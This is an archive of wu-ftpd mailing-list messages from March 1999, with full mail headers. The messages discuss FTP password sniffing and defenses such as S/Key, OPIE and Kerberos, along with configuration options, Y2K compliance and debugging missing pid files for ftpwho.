MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Alex Yu wrote, on behalf of a friend:

> The biggest problem with ftp is that your user names and passwords are
> sent in single packets encoded as plain ascii. If a hacker has access
> to _any_ machine on _any_ network between the client and server, they
> can sniff the packets easily.

This is also true of telnet, rsh (et al), pop, imap, smb (sometimes), http
(usually) and probably a raft of other protocols which don't come
immedeately to mind.

On today's Internet, most traffic between two networks travels on the
large national backbones. The risk is extremely low that anyone would
have access to those networks at a point where they could sniff your
packets. The main risk of this threat is on the end-point networks,
especially so when one of those end points is a college campus.

> It is worse than telnet because at least telnet sends each character
> of the password in an individual packet. FTP sends the entire string
> "PASS XXXXX" in one packet. This is an ftp problem unrelated to the
> OS the client or server is using.

Not just FTP. Telnet's about the only protocol to behave like that.
Pop, imap and the others usually use a single packet also. Besides,
anyone looking for passwords in single packets isn't seriously looking.
Sounds like you just happened to notice a password go by on a protocol
analyzer and paniced. The software most password sniffers is well aware
of how Telnet works and grabs the password just fine, thank you.

> Several machines on the RPI campus have been hacked in the past,
> (Tom's was once), and have had password sniffing programs set up on
> them. The only way to prevent this "hole" is to get rid of ftp
> altogether, (at least till ipv6 comes out with it's transparent
> encryption services).

With sniffers on your network, unless the only thing running on the host
was FTP, you probably weren't broken into via FTP and getting rid of FTP
definitely won't solve the problem you've described. I'd be surprised, in
fact, if it had any effect at all.

With most of these protocols, including FTP, it's a simple matter to set
up OPIE, S/Key or some similar feature which will protect your passwords.
Where the protocol does not support password security, it's drop-dead easy
to tunnel the protocol through an SSL-proxy. Not knowing your network at
all, but guessing from the fact that it's a campus, I'd say it's WAY past
time you went to Kerberos to secure your servers and workstations.

Computers outside your control (dorm rooms, etc) should be treated as
hostile and placed beyond a firewall from your main network. The firewall
can then enforce requirements for encrypted traffic, Kerberos, etc.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 13:10:18 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA27694;
Thu, 4 Mar 1999 13:10:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA29797;
Thu, 4 Mar 1999 13:06:49 -0600 (CST)
Received: from rapture.cyberflunk.com ([email protected] [199.217.80.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA02205
for <[email protected]>; Thu, 4 Mar 1999 13:03:59 -0600 (CST)
Received: from localhost (nikm@localhost)
by rapture.cyberflunk.com (8.6.9/8.9.1) with ESMTP id LAA00987
for <[email protected]>; Thu, 4 Mar 1999 11:03:54 -0800 (PST)
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 11:03:54 -0800 (PST)
Reply-To: [email protected]
Sender: [email protected]
From: Nikos Mouat <[email protected]>
To: [email protected]
Subject: FIXES-*
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,
Can we move all the 'FIXES-*' files out of the main distribution
directory? Maybe into doc/history or doc/fixes or something? They don't
seem to be appropriate in the main directory.

nm

From [email protected] Thu Mar 4 13:29:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28068;
Thu, 4 Mar 1999 13:29:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02638;
Thu, 4 Mar 1999 13:25:49 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA11623
for <[email protected]>; Thu, 4 Mar 1999 13:18:26 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA24608;
Thu, 4 Mar 1999 14:18:16 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 14:18:16 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Nikos Mouat <[email protected]>
Cc: [email protected]
Subject: Re: FIXES-*
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Nikos Mouat wrote:

> Can we move all the 'FIXES-*' files out of the main distribution
> directory? Maybe into doc/history or doc/fixes or something? They
> don't seem to be appropriate in the main directory.

OK. Unless someone objects over the next two weeks, I'll see what I can
do for VR17.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 13:31:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28106;
Thu, 4 Mar 1999 13:31:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA12820;
Thu, 4 Mar 1999 13:27:35 -0600 (CST)
Received: from harlech.london.sco.com (harlech.london.sco.com [150.126.1.62])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA23484
for <[email protected]>; Thu, 4 Mar 1999 13:22:29 -0600 (CST)
Received: from tyne.sco.com (tyne.london.sco.COM [150.126.1.103]) by harlech.london.sco.com (8.8.5/SCO5) with SMTP id TAA06729; Thu, 4 Mar 1999 19:20:58 GMT
Message-Id: <[email protected]>
Date: Thu, 4 Mar 99 19:20:05 GMT
Reply-To: [email protected]
Sender: [email protected]
From: [email protected] (Ian Willis)
To: [email protected], [email protected]
Cc: [email protected]
Subject: Re: Strange filenames...
X-Mailer: SCO OpenServer Mail Release 5.0
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

You probably want to use the blank character class rather than
the space character class, in the POSIX locale the blank class
only includes the space and tab characters but the space class
also includes the form feed, newline, carriage return and
vertical tab characters.

Ian

From [email protected] Thu Mar 4 16:10:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA01152;
Thu, 4 Mar 1999 16:10:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA20427;
Thu, 4 Mar 1999 16:07:22 -0600 (CST)
Received: from science.edu (wbrtr.wband.com [207.140.55.65])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA01097
for <[email protected]>; Thu, 4 Mar 1999 16:01:57 -0600 (CST)
Received: (qmail 6600 invoked from network); 4 Mar 1999 23:05:25 -0000
Received: from unknown (HELO WideCast2) (192.168.1.124)
by wbrtr.wband.com with SMTP; 4 Mar 1999 23:05:25 -0000
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 16:04:37 -0600
Reply-To: [email protected]
Sender: [email protected]
From: "D. Carlos Knowlton" <[email protected]>
To: "WU-FTP" <[email protected]>
Subject: taming realusers
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.0810.800
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have a multifunction server with dozens of users, and I'd like to restrict
a user's access to only their own home directory tree (similar to anonymous,
but with full access you their own shares). Currently, they arrive in their
respective home directories, but they can read each other's homes. I would
like to restrict that. Could anyone help me see how to do this?

-ck

From [email protected] Thu Mar 4 16:17:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA01235;
Thu, 4 Mar 1999 16:17:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA11753;
Thu, 4 Mar 1999 16:14:03 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA07453
for <[email protected]>; Thu, 4 Mar 1999 16:13:40 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id RAA26465;
Thu, 4 Mar 1999 17:13:31 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 17:13:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "D. Carlos Knowlton" <[email protected]>
Cc: WU-FTP <[email protected]>
Subject: Re: taming realusers
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, D. Carlos Knowlton wrote:

> I have a multifunction server with dozens of users, and I'd like to
> restrict a user's access to only their own home directory tree
> (similar to anonymous, but with full access you their own shares).
> Currently, they arrive in their respective home directories, but they
> can read each other's homes. I would like to restrict that. Could
> anyone help me see how to do this?

Get VR16, read the man page for restricted uid/gid. Test it carefully, I
have a report of a problem talking to Netscape and a hot-fix being tested
to solve it.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 16:37:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA01525;
Thu, 4 Mar 1999 16:37:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA16209;
Thu, 4 Mar 1999 16:34:02 -0600 (CST)
Received: from mail1.its.rpi.edu ([email protected] [128.113.100.7])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA03087
for <[email protected]>; Thu, 4 Mar 1999 16:32:00 -0600 (CST)
Received: from yua2 (cieem47.cieem.rpi.edu [128.113.60.140])
by mail1.its.rpi.edu (8.8.8/8.8.6) with SMTP id RAA40898;
Thu, 4 Mar 1999 17:33:30 -0500
Message-Id: <[email protected]>
Date: Thu, 04 Mar 1999 17:33:45 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: About ftpd security.
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 01:38 PM 1999/3/4 -0500, Gregory A Lundberg wrote:

>With most of these protocols, including FTP, it's a simple matter to set
>up OPIE, S/Key or some similar feature which will protect your passwords.

Well... actually you right. So is there any secure ftp daemons? If you
know some, would you please inform me? If all I have to do is just put a
patch on wu-ftpd, please let me know. How can I make wu-ftpd ANONYMOUSE
login only?

Alex

From [email protected] Thu Mar 4 16:49:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA01702;
Thu, 4 Mar 1999 16:49:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA07074;
Thu, 4 Mar 1999 16:46:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA16274
for <[email protected]>; Thu, 4 Mar 1999 16:43:37 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id RAA26706;
Thu, 4 Mar 1999 17:43:25 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 17:43:25 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Alex Yu <[email protected]>
Cc: [email protected]
Subject: Re: About ftpd security.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Alex Yu wrote:

> >With most of these protocols, including FTP, it's a simple matter to set
> >up OPIE, S/Key or some similar feature which will protect your passwords.
>
> Well... actually you right. So is there any secure ftp daemons? If you
> know some, would you please inform me? If all I have to do is just put a
> patch on wu-ftpd, please let me know.

The base daemon supports S/Key and Kerberos authentication (among other
platform-specific methods). VR16 has OPIE as well. For these, just edit
config.h to enable the feature.

ISTM BeroFTPD includes FTPSEC support for Kerberos 5, encrypting the
connections, not just the passwords.

You can get an SSL tunnel from a number of places. I've taken a look at
edssl83, and I know there are others.

There's a free (well, maybe free here in the US) version of WU-FTPD with
SSL patches (old, but they shouldn't be too hard to fix up). It's at the
SSLeay site which I cannot remember so I Yahoo! for it. There's a
commercial version of the daemon which has this as well (browse the
mailing list archive for the past two months, or wait .. he'll prolly
speak up in a bit).

> How can I make wu-ftpd ANONYMOUSE login only?

#define ANON_ONLY in config.h

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 16:56:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA01836;
Thu, 4 Mar 1999 16:56:16 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA23214;
Thu, 4 Mar 1999 16:53:00 -0600 (CST)
Received: from feed.rcn.med.keio.ac.jp ([email protected] [131.113.180.173])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA04711
for <[email protected]>; Thu, 4 Mar 1999 16:48:54 -0600 (CST)
Received: (qmail 24693 invoked by uid 1001); 5 Mar 1999 07:48:51 +0900
Message-Id: <[email protected]>
Date: 05 Mar 1999 07:48:51 +0900
Reply-To: [email protected]
Sender: [email protected]
From: Ayamura Kikuchi <[email protected]>
To: [email protected]
Subject: Re: About ftpd security.
In-Reply-To: <[email protected]>
References: <[email protected]>
MIME-Version: 1.0 (generated by SEMI 1.13.3 - "Komaiko")
Content-Type: text/plain; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> How can I make wu-ftpd ANONYMOUSE login only?

see config.h

/*
* ANON_ONLY
* Permit only anonymous logins... disables all other type
* See FIXES-2.4-HOBBIT for more information on this option.
*/

#undef ANON_ONLY

-- ayamura

From [email protected] Thu Mar 4 18:07:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA02901;
Thu, 4 Mar 1999 18:07:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA15502;
Thu, 4 Mar 1999 18:03:54 -0600 (CST)
Received: from relay.pair.com (relay1.pair.com [209.68.1.20])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA05829
for <[email protected]>; Thu, 4 Mar 1999 18:03:18 -0600 (CST)
Received: from microsoft.sucks.eu.org ([email protected] [198.22.51.89])
by relay.pair.com (8.8.7/8.8.5) with SMTP id TAA01249;
Thu, 4 Mar 1999 19:01:45 -0500 (EST)
Message-Id: <Pine.LNX.4.10.9903050040170.1339-100000@k6.microsoft.sucks.eu.org>
Date: Fri, 5 Mar 1999 00:44:19 +0100 (CET)
Reply-To: [email protected]
Sender: [email protected]
From: Bernhard Rosenkraenzer <[email protected]>
To: Rovert John F DLVA <[email protected]>
Cc: "'[email protected]'" <[email protected]>,
"'[email protected]'" <[email protected]>,
"'[email protected]'" <[email protected]>,
Bailey Martin T DLVA <[email protected]>,
Zirkle Carl S DLVA <[email protected]>,
Corbin Donna C DLVA <[email protected]>,
Dean Alan J DLVA <[email protected]>,
"Kerby James F (Fred) DLVA" <[email protected]>,
Northcutt Stephen R DLVA <[email protected]>
Subject: Re: wu-ftpd, BeroFTP, LundbergFTPD and Y2K
In-Reply-To: <BF99A3F2010AD211A59700805F9F94B51F581B@nswcdlvaex03.nswc.navy.mil>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Rovert John F DLVA wrote:

> Just a question concerning Y2K compliance...
>
> Are wu-ftpd 2.4.2, BeroFTPD 1.2.x/1.3.x and wu-ftpd-vr
> Y2K compliant?

None of them has any date/time handling routines themselves, so the answer
is they're as Y2K compliant as your OS.

I've tested BeroFTPD (both 1.2.4 and 1.3.4) on a Linux machine with a
system clock set to February 2000 to make sure there are no problems;
There shouldn't be any problems with the other versions either.

LLaP
bero

--
Windows 98 supports real multitasking - it can boot and crash simultaneously.
***
Anyone sending unwanted advertising e-mail to this address will be charged
$25 for network traffic and computing time. By extracting my address from
this message or its header, you agree to these terms.

From [email protected] Fri Mar 5 02:52:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id CAA08010;
Fri, 5 Mar 1999 02:52:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id CAA08180;
Fri, 5 Mar 1999 02:47:55 -0600 (CST)
Received: from noya.bupt.edu.cn (noya.bupt.edu.cn [202.112.96.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id CAA19687
for <[email protected]>; Fri, 5 Mar 1999 02:42:48 -0600 (CST)
Received: from SWALLOW ([202.112.10.152])
by noya.bupt.edu.cn (8.9.3/8.9.1) with SMTP id QAA01503
for <[email protected]>; Fri, 5 Mar 1999 16:37:26 +0800 (CST)
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 16:42:07 +0800
Reply-To: [email protected]
Sender: [email protected]
From: "Zhang Yan" <[email protected]>
To: <[email protected]>
Subject: unsubscribe
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0026_01BE6727.1B614EA0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.

------=_NextPart_000_0026_01BE6727.1B614EA0
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

unsubscribe

------=_NextPart_000_0026_01BE6727.1B614EA0
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dgb2312 http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>unsubscribe</DIV></BODY></HTML>

------=_NextPart_000_0026_01BE6727.1B614EA0--

From [email protected] Fri Mar 5 04:00:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA08497;
Fri, 5 Mar 1999 04:00:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA05527;
Fri, 5 Mar 1999 03:57:03 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA27804
for <[email protected]>; Fri, 5 Mar 1999 03:52:47 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id KAA00019;
Fri, 5 Mar 1999 10:52:22 +0100 (MET)
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 10:52:21 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected] (Michael Schmidt)
Subject: General FTP client problem: SITE
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

seems to be no problem of wu-ftpd but of ftp clients.
Some don't have the SITE command, so the ftp client
can't use/issue e.g. SITE GROUP and SITE GPASS commands.

Or am I doing something wrong?

Have a nice day
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Fri Mar 5 05:11:12 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id FAA09010;
Fri, 5 Mar 1999 05:11:11 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id FAA07516;
Fri, 5 Mar 1999 05:07:54 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id FAA21838
for <[email protected]>; Fri, 5 Mar 1999 05:03:24 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id MAA10018;
Fri, 5 Mar 1999 12:03:21 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id LAA19321;
Fri, 5 Mar 1999 11:02:57 GMT
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 11:02:29 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]> from Gregory A Lundberg at "Mar 4, 1999 07:22:50 am"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> - Verify you're running the version you think you are.

I am -- there is only one ftpd on the system and I double checked it with
'ftp' -- it shows the version I run.

220 grobbebol FTP server (Version wu-2.4.2-VR16(1) Thu Mar 4 11:00:03 GMT
1999) ready.

can't be the problem :-)

> - Run strings on the daemon to verify it's using the directory it should
> be: strings ftpd | grep '\.pid'

/var/run/ftpd.pid
/var/run/ftp.pids-%s

> - Check the daemon has permission to write to them. The directory
> should be local (not NFS).

and this is the part where I got lost. in /var :

drwxr-xr-x 2 root root 2048 Mar 5 09:48 run/

but no ftpd.pid* files in /var/run. while I am logged in (e.g. ftpd runs)
I started an updatedb & and checked with locate that these files really are
not on my system.

ftpwho (straced) shows (snipped for the reevant parts)

open("/var/run/ftp.pids-local", O_RDONLY) = -1 ENOENT (No such file or
directory)

and

open("/var/run/ftp.pids-remote", O_RDONLY) = -1 ENOENT (No such file or
directory)

so the problem probably is the generation of the files. what's next..

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.2 on an i586/64 MB | on Usenet. _\_v

From [email protected] Fri Mar 5 06:15:45 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA09949;
Fri, 5 Mar 1999 06:15:44 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA15506;
Fri, 5 Mar 1999 06:12:28 -0600 (CST)
Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA04213
for <[email protected]>; Fri, 5 Mar 1999 06:10:21 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp3.xs4all.nl (8.8.8/8.8.8) with ESMTP id NAA26978;
Fri, 5 Mar 1999 13:10:19 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id MAA00790;
Fri, 5 Mar 1999 12:10:15 GMT
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 12:10:15 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: FIXES-*
In-Reply-To: <[email protected]> from Gregory A Lundberg at "Mar 4, 1999 02:18:16 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> OK. Unless someone objects over the next two weeks, I'll see what I can
> do for VR17.

on ftp.cistron.nl, in /pub/people/miquels/unsupported, there is a patch
avaiable that does bandwidth control. I don't know if VR16 suports it but
maybe it's nice to incorporate it.

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.2 on an i586/64 MB | on Usenet. _\_v

From [email protected] Fri Mar 5 07:00:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA10315;
Fri, 5 Mar 1999 07:00:16 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA09402;
Fri, 5 Mar 1999 06:57:04 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA07078
for <[email protected]>; Fri, 5 Mar 1999 06:52:10 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA32199;
Fri, 5 Mar 1999 07:51:36 -0500
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 07:51:36 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 5 Mar 1999, Roeland Th. Jansen wrote:

> > - Check the daemon has permission to write to them. The directory
> > should be local (not NFS).
>
> and this is the part where I got lost. in /var :
>
> drwxr-xr-x 2 root root 2048 Mar 5 09:48 run/
>
> but no ftpd.pid* files in /var/run. while I am logged in (e.g. ftpd runs)
> I started an updatedb & and checked with locate that these files really are
> not on my system.

> so the problem probably is the generation of the files. what's next..

The daemon isn't creating them. There's a compile-time option to disable
them (in config.h), make sure it's not selected. Watch your syslogs when
the daemon starts, are any messages logged? Is /var or /var/run mounted
read-only or NFS mounted? If all else fails, crack into the source and
add a syslog message where the daemon thinks it's created the files; this
will ensure you the code is being reached (I do a message before showing
the parms and one after showing the return code. If you don't know how,
email me privately and I'll send over a debuging patch)

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 5 07:06:45 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA10384;
Fri, 5 Mar 1999 07:06:44 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA11326;
Fri, 5 Mar 1999 07:03:31 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA10720
for <[email protected]>; Fri, 5 Mar 1999 06:58:20 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id NAA17473;
Fri, 5 Mar 1999 13:58:18 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id MAA02091;
Fri, 5 Mar 1999 12:58:14 GMT
Message-Id: <[email protected]>
Date: Fri, 5 Mar 1999 12:58:13 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected] (Gregory A Lundberg)
Cc: [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]> from Gregory A Lundberg at "Mar 5, 1999 07:51:36 am"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> The daemon isn't creating them. There's a compile-time option to disable
> them (in config.h), make sure it's not selected. Watch your syslogs when

